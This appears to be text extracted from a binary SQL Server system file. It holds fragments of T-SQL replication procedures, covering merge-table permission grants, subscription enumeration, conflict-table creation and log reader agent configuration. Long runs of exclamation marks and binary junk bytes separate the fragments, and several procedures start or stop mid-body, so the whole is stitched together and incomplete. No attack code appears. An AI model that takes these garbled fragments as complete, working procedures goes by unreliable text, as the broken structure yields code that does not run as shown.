    exec ('grant select on dbo.MSmerge_errorlineage to ' +  @quotedrole)
    if (@@error <> 0)
        return 1
    exec ('grant select on dbo.MSmerge_identity_range to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.sysmergepublications to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.sysmergearticles to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.sysmergesubscriptions to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.MSmerge_replinfo to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.MSmerge_tombstone to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.MSmerge_contents to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.MSmerge_genhistory to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.MSmerge_conflicts_info to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.sysmergeschemachange to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.sysmergesubsetfilters to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select,insert on dbo.MSmerge_partition_groups to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.MSmerge_generation_partition_mappings to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.MSmerge_current_partition_mappings to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.MSmerge_past_partition_mappings to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.MSmerge_dynamic_snapshots to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.sysmergepartitioninfo to ' + @quotedrole)
    if (@@error <> 0)
        return 1
    exec('grant select on dbo.sysmergepartitioninfoview to ' + @quotedrole)
    if (@@error <> 0)
        return 1
        
    -- cursor to browse through all articles in this publication and grant
    -- permissions on conflict_table, before_image_table etc to the role
    declare @bi_table sysname
    declare @bi_objectid int
    declare @owner sysname
    declare @quotedname nvarchar(517)
    
    declare art_cursor cursor LOCAL FAST_FORWARD
    for select before_image_objid from dbo.sysmergearticles where pubid = @pubid 
    open art_cursor
    fetch art_cursor into @bi_objectid
    while (@@fetch_status <> -1)
    begin
        if @bi_objectid is not NULL
        begin
            select @owner = NULL
            select @owner = schema_name(schema_id) from sys.objects where object_id = @bi_objectid
            if @owner is NULL
                return 1
                
            select @bi_table = OBJECT_NAME(@bi_objectid)
            if (@@error <> 0)
                return 1
                
            select @quotedname = QUOTENAME(@owner)+ '.' + QUOTENAME(@bi_table)
            exec('grant select (system_delete, generation), update(generation), delete on ' + @quotedname + ' to ' + @quotedrole)
            if (@@error <> 0)
                return 1            
        end
        select @bi_objectid = NULL
        fetch art_cursor into @bi_objectid
    end
    close art_cursor
    deallocate art_cursor

0~ 8create procedure sys.sp_MSenum_merge_subscriptions_90_publisher
(
    @publisher sysname,
    @topNum int = NULL, 
    @exclude_anonymous bit = 0 
)
as
begin
    declare @publisher_id smallint
    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    	
    select @publisher_id = srvid from master.dbo.sysservers where
       UPPER(srvname) = UPPER(@publisher)

    if @@rowcount < 1 or @@error <> 0
    begin
        raiserror(25002, 16, -1)
        return (1)
    end

    if @topNum is not null
    	SET ROWCOUNT @topNum

    select resultset.* from 
    (
    select pub.publisher_db as PublicationDatabase,
    	pub.publication as PublicationName,
    	UPPER(sub.subscriber) as SubscriberName,
    	sub.subscriber_db as SubscriberDatabase,
    	isnull(sessions.runstatus,0) as Status,
    	sessions.start_time as LastSyncTime,
    	DATEDIFF(minute, sessions.start_time, getdate()) as merge_SyncExpireTime,
    	convert(int, sys.fn_convert_to_seconds(pub.retention, pub.retention_period_unit)*convert(int, sys.fn_replgetpublicationthreshold(pub.publication_id, 4))/100.0) as merge_SyncExpireTimeThreshold,
    	ISNULL(sessions.duration, DATEDIFF(minute, sessions.start_time, getdate())) as merge_RunDuration,
    	sys.fn_replgetpublicationthreshold(pub.publication_id, 5) as merge_FastRunDurationThreshold,
    	sys.fn_replgetpublicationthreshold(pub.publication_id, 6) as merge_SlowRunDurationThreshold
    from dbo.MSpublications pub, 
    	dbo.MSmerge_subscriptions sub, 
    	dbo.MSmerge_agents agents,
    	dbo.MSmerge_sessions sessions,
	(
	select agent_id, max(start_time) as maxtime 
	from dbo.MSmerge_sessions group by agent_id
	) as latest
    where pub.publisher_id=@publisher_id and
    	pub.publication_type=2 and -- merge
    	sub.publisher_id=pub.publisher_id and
    	sub.publisher_db=pub.publisher_db and
    	sub.publication_id=pub.publication_id and 
    	agents.publisher_id=@publisher_id and
    	agents.publisher_db=pub.publisher_db and
    	agents.publication=pub.publication and 
    	UPPER(agents.subscriber_name)=UPPER(sub.subscriber) and 
	agents.subscriber_db=sub.subscriber_db and
	sessions.session_id = (select top 1 session_id from dbo.MSmerge_sessions where agent_id=agents.id order by session_id desc) and
	sessions.agent_id=agents.id and
	sessions.agent_id=latest.agent_id and 
	latest.maxtime=sessions.start_time and
	(@exclude_anonymous = 0 or agents.anonymous_subid is null) 
	) as resultset 
	order by resultset.Status, resultset.merge_RunDuration, resultset.merge_SyncExpireTime, SubscriberName
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;6`8<-wE0	 8create function sys.fn_getpersistedservernamecasevariation (
    @servername sysname
    ) returns sysname
as
begin

    declare @real_servername sysname
    select @real_servername = null
    select @real_servername = srvname 
      from master.dbo.sysservers
     where upper(@servername) = upper(srvname collate database_default ) 

    return @real_servername
end
0< D86h+=,0@ m8CREATE VIEW sys.dm_os_hosts AS
	SELECT *
	FROM OpenRowSet(TABLE SYSHOSTS)
0@@ 58create procedure sys.sp_cycle_errorlog  --- 1997/06/24
as
if (not (is_srvrolemember('sysadmin') = 1))  -- Make sure that it is the SA executing this.
        begin
                raiserror(15247,-1,-1)
                return(1)
        end

dbcc errorlog
return (0)
0eȲ@ I8
create procedure sys.sp_MShelpvalidationdate(
@publication        sysname,
@subscriber            sysname,
@subscriber_db        sysname
)AS
declare @pubid                    uniqueidentifier
declare @retcode                int

-- Security check
if 1 <> is_member('db_owner')
begin    
    RAISERROR (15247, 11, -1)
    return (1)
end

select @pubid=pubid from dbo.sysmergepublications where name=@publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
if @pubid is NULL 
    return (0)

select last_validated, attempted_validate from dbo.sysmergesubscriptions 
    where pubid=@pubid and 
          db_name=@subscriber_db and 
          UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default

return (0)

			
	set nocount on

	-- Check and make sure the table exists
	select @basetabid = OBJECT_ID (@fulltablename, N'U')
	if @basetabid is null
	begin
		raiserror(15388, 16, 1, @fulltablename)
		return (1)
	end

	select	@basetablename = OBJECT_NAME(@basetabid)
			,@ownername = schema_name(objectproperty(@basetabid, 'SchemaId'))

	-- generate the conflict table name
	exec sp_MSgetpeerconflictname @prefix = N'conflict', @tabid = @basetabid, @peerconflictname = @conflicttablename output
	if @@error <> 0 or @conflicttablename is NULL
		return (1)

	select @conflicttablename = N'[dbo].' + QUOTENAME(@conflicttablename) 

	-- generate the index name
	exec sp_MSgetpeerconflictname @prefix = N'cftind', @tabid = @basetabid, @peerconflictname = @indexname output

	-- begin tran
	begin tran 
	save tran tr_sp_MSmakepeerconflicttable

	if OBJECT_ID(@conflicttablename, N'U') is not null
	begin
		if exists(select * from sys.objects where object_id = OBJECT_ID(@conflicttablename, N'U') and is_ms_shipped = 1)
		begin --assume it IS the conflict table, if it is marked as MS shipped
			goto COMMIT_TRAN
		end
		else
		begin
			select @cmd = N'DROP TABLE ' + @conflicttablename
			exec (@cmd) --existing table with the same name is dropped
			if @@error <> 0
			begin
				goto UNDO
			end
			else
			begin
				raiserror(22809, 10, -1, @conflicttablename) --raise a warning
			end
		end
	end
	

	exec @indid = sys.sp_MStable_has_unique_index @basetabid
	if (@indid = 0)
	begin
		raiserror(21750, 16, 1, @fulltablename)
				goto UNDO
	end

	if  (OBJECT_ID(N'tempdb..#tempcmd', N'U') IS NOT NULL)
		drop table #tempcmd
		
	create table #tempcmd (step int identity NOT NULL, cmdtext nvarchar(max) NULL)
	if @@error <> 0
		goto UNDO
	else
		select @tmptablecreated = 1

	insert into #tempcmd(cmdtext) values(N'CREATE TABLE ' + @conflicttablename + N' (')
	insert into #tempcmd(cmdtext) values(N'__$originator_id int NULL')
	insert into #tempcmd(cmdtext) values(N',__$origin_datasource int NULL')
	insert into #tempcmd(cmdtext) values(N',__$tranid nvarchar(40) NULL')
	insert into #tempcmd(cmdtext) values(N',__$conflict_type int NULL')
	insert into #tempcmd(cmdtext) values(N',__$is_winner bit NULL')
	insert into #tempcmd(cmdtext) values(N',__$pre_version varbinary(32) NULL')
	insert into #tempcmd(cmdtext) values(N',__$reason_code int NULL')
	insert into #tempcmd(cmdtext) values(N',__$reason_text nvarchar(720) NULL')
	insert into #tempcmd(cmdtext) values(N',__$update_bitmap varbinary(32) NULL')
	insert into #tempcmd(cmdtext) values(N',__$inserted_date datetime DEFAULT GETDATE ( ) NOT NULL ')
	insert into #tempcmd(cmdtext) values(N',__$row_id rowversion NOT NULL')
	insert into #tempcmd(cmdtext) values(N',__$change_id binary(8) NULL')


	-- Declare the cursor to get info on each column of base table
	declare #hcurColumnInfo cursor local FAST_FORWARD FOR
		select column_id, name
		from sys.columns
		where is_computed = 0 	and object_id = @basetabid 
		order by column_id
	for read ONLY

	open #hcurColumnInfo
	fetch #hcurColumnInfo into @colid, @colname
	while (@@FETCH_STATUS = 0)
	begin

		-- Get the typestring for this column
		-- Skip this column if it is NULL

		select @coltype = [sys].[fn_gettypestring](@basetabid, @colid, 1, 0, 0, 0, 1, 0, 0, 0, 0) 
		if (@@ERROR != 0 or @coltype is NULL)
		begin
			raiserror(21542, 16, 1, @@error, 'fn_gettypestring')
			goto UNDO
		end

		-- Create the column info, always allow NULL regardless of source, it's always possible to have to insert NULL in some of the columns in case update/delete is not using CALL/XCALL format
		insert into #tempcmd(cmdtext) values(N',' + quotename(@colname) + N' ' + @coltype + N' NULL')

		fetch #hcurColumnInfo into @colid, @colname
	end
	-- insert right )  into the temptable
	insert into #tempcmd(cmdtext) values(N')')
	close #hcurColumnInfo
	deallocate #hcurColumnInfo

	-- Create an unique index - we add some three fields to the index of base table
	insert into #tempcmd(cmdtext) values(N'
						CREATE UNIQUE INDEX ' + quotename(@indexname) + N' ON ' +  @conflicttablename  + N'( __$originator_id ')

	select @indkey = 1
			,@cmd = N''
	while (@indkey <= 16)
	begin   
		select @key = index_col(@fulltablename, @indid, @indkey)
		if (@key is not null)
		begin
			select @cmd = @cmd + N', ' + quotename(@key)
		end
		select @indkey = @indkey + 1
	end
    
	--
	-- Add two more fields in the end for the index
	--
	select @cmd = @cmd + N', __$tranid, __$row_id)'
	insert into #tempcmd(cmdtext) values(@cmd)
	
	if (@scriptonly = 1)
	begin
		select cmdtext from #tempcmd order by step
	end
	else
	begin
		--
		-- create the table now
		--
		select @dbname = db_name()
		select @cmd = 'select cmdtext from #tempcmd order by step'
		exec @retcode = sys.xp_execresultset @cmd, @dbname
		if (@@error != 0 or @retcode != 0)
		begin
			raiserror(21542, 16, 1, @@error, 'xp_execresultset')
			goto UNDO
		end

		exec @retcode = dbo.sp_MS_marksystemobject @conflicttablename
		if (@@error != 0 or @retcode != 0)
		begin
			-- roll back the tran
			raiserror(21542, 16, 1, @@error, 'sp_MS_marksystemobject')
			goto UNDO
		end

	end

COMMIT_TRAN:
	--
	-- commit the tran
	--
	if @tmptablecreated = 1
		drop table #tempcmd
	commit tran tr_sp_MSmakepeerconflicttable
	return (0)

UNDO:
	rollback tran tr_sp_MSmakepeerconflicttable
	commit tran
	return (1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4B`<[
)P0$ C8CREATE PROCEDURE sys.sp_MSrepl_addlogreader_agent 
(
	@job_login					nvarchar(257),
	@job_password				sysname,
	@job_name					sysname,
	@publisher_security_mode	smallint,
	@publisher_login			sysname,
	@publisher_password 		sysname,
	@publisher					sysname,
	@publisher_type 			sysname
)
AS
BEGIN
	SET NOCOUNT ON

	DECLARE @retcode			int,
			@procedure			nvarchar(4000),
			@distributor_rpc	sysname,
			@distribution_db	sysname,
			@publisher_db		sysname,
			@logreader_exists	bit,
			@publisher_engine_edition int,
			@publisher_local	sysname
	
	-- Security Check
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 OR @retcode <> 0
		RETURN 1
	
	-- defaults
	SELECT @publisher_db		= DB_NAME(),
			@logreader_exists	= 0,
			@publisher_engine_edition = sys.fn_MSrepl_editionid()

	-- must be tran published
	IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
	BEGIN
		RAISERROR (14013, 16, -1)
		RETURN 1
	END

	-- SQLSERVER	
	IF @publisher_type = N'MSSQLSERVER'
	BEGIN
		SELECT @publisher = publishingservername()
	
		--
		--	Required : 
		--		A. @publisher_security_mode
		--		B. if A = 1 then @publisher_login
		--		C. @job_login
		--

		SELECT @publisher_security_mode = ISNULL(@publisher_security_mode, 1)
		
		IF @publisher_security_mode not in (0, 1)
		BEGIN
			-- The specified '@publisher_security_mode' is invalid (valid values are: 0, 1).
			RAISERROR(14266, 16, -1, '@publisher_security_mode', '0, 1')
			RETURN 1
		END

		-- make sure that the login is valid
		SELECT @publisher_login = RTRIM(LTRIM(ISNULL(@publisher_login, '')))
		IF @publisher_security_mode = 0 AND @publisher_login = ''
		BEGIN
			-- '@publisher_login cannot be null or empty when @publisher_security_mode is set to 0 (SQL Server authentication).'
			RAISERROR(21694, 16, -1, '@publisher_login', '@publisher_security_mode')
			RETURN 1
		END
	END
	-- HETERO
	ELSE
	BEGIN
		IF @publisher_security_mode IS NOT NULL
			OR @publisher_login IS NOT NULL
			OR @publisher_password IS NOT NULL
		BEGIN
			-- For heterogeneous publications, the @publisher_security_mode, @publisher_login and @publisher_password parameter(s) should be specified when calling 'sp_adddistpublisher'.
			RAISERROR(22535, 16, -1, '@publisher_security_mode, @publisher_login and @publisher_password', 'sp_adddistpublisher')
			RETURN 1
		END
	END

	-- if we do not require yukon security then check paramters.
	IF sys.fn_yukonsecuritymodelrequired(NULL) = 0
	BEGIN
		IF @job_login IS NULL
		BEGIN
			IF @job_password IS NOT NULL
			BEGIN
				-- Parameter '@job_login' can be set to 'NULL' only when '@job_password' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_login', 'NULL', '@job_password', 'NULL')
				RETURN 1
			END
		END
		ELSE
		BEGIN
			IF @job_password IS NULL
			BEGIN
				-- Parameter '@job_password' can be set to 'NULL' only when '@job_login' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_password', 'NULL', '@job_login', 'NULL')
				RETURN 1
			END

			IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
			BEGIN
				-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addlogreader_agent'.
				RAISERROR(21797, 16, -1, '@job_login', 'sp_addlogreader_agent')
				RETURN 1
			END
		END
	END
	-- if yukon sec required then a valid windows login/password is required
	ELSE
	BEGIN
		IF @job_login IS NULL
			OR @job_password IS NULL
		BEGIN
			-- Only members of the sysadmin fixed server role can perform this operation without specifying @job_login or @job_password.
			RAISERROR(21832, 16, -1, '@job_login or @job_password')
			RETURN 1
		END

		IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
		BEGIN
			-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addlogreader_agent'.
			RAISERROR(21797, 16, -1, '@job_login', 'sp_addlogreader_agent')
			RETURN 1
		END
	END

	-- retrieve the distribution database name			
	EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor_rpc OUTPUT,
											@distribdb = @distribution_db OUTPUT,
											@publisher = @publisher
	IF @@error <> 0 or @retcode <> 0 or @distribution_db is NULL
	BEGIN
		-- "The Distributor has not been installed correctly."
		RAISERROR(20036, 16, -1)
		RETURN 1
	END

	IF @job_name IS NULL
	BEGIN
		SELECT @procedure = QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSreplagentjobexists'
		EXEC @retcode = @procedure @type = 2,
									@exists = @logreader_exists output,
									@publisher = @publisher,
									@publisher_db = @publisher_db
		IF @retcode <> 0 OR @@ERROR <> 0
			RETURN 1
		
		-- exit if it already exists	
		IF @logreader_exists = 1
		BEGIN	
			-- "The logreader agent already exists. Use 'sp_changelogreader_agent' to change any settings/properties."
			RAISERROR(21831, 16, -1, 'logreader agent', 'sp_changelogreader_agent')
			RETURN 1
		END
	END
	ELSE
	BEGIN
		SELECT @logreader_exists = 1
	END

	BEGIN TRANSACTION tr_add_logreader_agent
	SAVE TRANSACTION tr_add_logreader_agent

    --
    -- If we're attempting to add a new logreader job, we'll first drop
    --   the CDC job if CDC is enabled, as the logreader agent will be doing it's work           
    --
    if [sys].[fn_cdc_is_db_enabled]() = 1 and @logreader_exists <> 1
    begin
        exec @retcode = [sys].[sp_cdc_drop_job] @job_type = N'capture'
        if @retcode <> 0 or @@error <> 0
            GOTO UNDO
    end

	-- Schedule Log Reader agent for the database
	SELECT @procedure = QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.dbo.sp_MSadd_logreader_agent'

	EXEC @retcode = @procedure	@publisher					= @publisher,
								@publisher_db				= @publisher_db,
								@publication				= 'ALL',  
								@local_job 					= 1,
								@publisher_security_mode 	= @publisher_security_mode,
								@publisher_login 			= @publisher_login,
								@publisher_password 		= @publisher_password,
								@job_login 					= @job_login,
								@job_password 				= @job_password,
								@name 						= @job_name,
								@job_existing 				= @logreader_exists,
								@publisher_type 			= @publisher_type,
								@internal 					= N'YUKON',
								@publisher_engine_edition = @publisher_engine_edition
	IF @@ERROR <> 0 or @retcode <> 0
		GOTO UNDO

	-- If we didn't need to create the job but 
	-- we were given the job_login and job_password
	-- then we will attempt to change them or add
	-- NOTE:
	-- We do this at the very end because the actual
	-- agent must be added prior to setting the login
	-- and passwords...
	IF @logreader_exists = 1
	BEGIN
		IF @job_login IS NOT NULL
		BEGIN
			IF @publisher_type = 'MSSQLSERVER'
			BEGIN
				SELECT @publisher_local = NULL
			END
			ELSE
			BEGIN
				SELECT @publisher_local = @publisher
			END
			
			EXEC @retcode = sys.sp_changelogreader_agent @job_login = @job_login,
															@job_password = @job_password,
															@publisher = @publisher_local
			IF @@ERROR <> 0 OR @retcode <> 0
				GOTO UNDO
		END
	END

	COMMIT TRANSACTION tr_add_logreader_agent
	
	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_add_logreader_agent
	COMMIT TRANSACTION

	RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<x2
%'0 8
create procedure sys.sp_table_constraints_rowset2
(
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @constraint_name    sysname = null,
    @constraint_schema  sysname = null,
    @constraint_catalog sysname = null,
    @constraint_type    nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        CONSTRAINT_CATALOG  = db_name(),
        CONSTRAINT_SCHEMA   = schema_name(o.schema_id),
        CONSTRAINT_NAME     = o.name,
        TABLE_CATALOG       = db_name(),
        TABLE_SCHEMA        = schema_name(t_obj.schema_id),
        TABLE_NAME          = t_obj.name,
--        CONSTRAINT_TYPE     = case (syscon.status & 0xf)
        CONSTRAINT_TYPE     = case syscon.type
--                                when 1 then N'PRIMARY KEY'
                                when 'PK' then N'PRIMARY KEY'
--                                when 2 then N'UNIQUE'
                                when 'UQ' then N'UNIQUE'
--                                when 3 then N'FOREIGN KEY'
                                when 'F' then N'FOREIGN KEY'
--                                when 4 then N'CHECK'
                                when 'C' then N'CHECK'
                                else null
                              end,
        IS_DEFERRABLE       = convert(bit, 0),
        INITIALLY_DEFERRED  = convert(bit, 0),
        DESCRIPTION         = convert(nvarchar(1), null)

    from
        sys.all_objects o,
        sys.all_objects t_obj,
--        sysconstraints syscon
        sys.all_objects syscon
    where
        t_obj.type in ('U','S') and
        (@table_catalog is null or @table_catalog = db_name()) and
        (@table_schema is null or @table_schema = schema_name(t_obj.schema_id)) and
        syscon.parent_object_id = t_obj.object_id and
        (syscon.type in ('PK', 'UQ', 'F', 'C')) and
        o.object_id    = syscon.object_id and
        o.schema_id = schema_id() and
        (@constraint_name is null or o.name = @constraint_name) and
        (@constraint_catalog is null or @constraint_catalog = db_name()) and
        (@constraint_schema is null or @constraint_schema = schema_name(o.schema_id)) and
        (@constraint_type is null or
         syscon.type = case @constraint_type
                       when N'PRIMARY KEY' then 'PK'
                       when N'UNIQUE' then 'UQ'
                       when N'FOREIGN KEY' then 'F'
                       when N'CHECK' then 'C'
                       end)
    order by 2,3,5,6,7
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	ڸ{0e 8CREATE PROCEDURE sys.sp_MSrepl_changelogreader_agent 
(
	@job_login					nvarchar(257),
	@job_password				sysname,
	@publisher_security_mode	smallint,
	@publisher_login			sysname,
	@publisher_password 		sysname,
	@publisher					sysname,
	@publisher_type 			sysname
)
AS
BEGIN
	SET NOCOUNT ON

	DECLARE @retcode			int,
			@procedure			nvarchar(4000),
			@distributor_rpc	sysname,
			@distribution_db	sysname,
			@publisher_db		sysname,
			@logreader_exists	bit,
			@proxy_id			int
	
	-- Security Check
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 OR @retcode <> 0
		RETURN 1
	
	-- defaults
	SELECT @publisher_db		= DB_NAME(),
			@logreader_exists	= 0

	-- must be tran published
	IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
	BEGIN
		RAISERROR (14013, 16, -1)
		RETURN 1
	END

	-- SQLSERVER
	IF @publisher_type = N'MSSQLSERVER'
	BEGIN
		SELECT @publisher = publishingservername()
	
		IF @publisher_security_mode IS NOT NULL
		BEGIN
			IF @publisher_security_mode not in (0, 1)
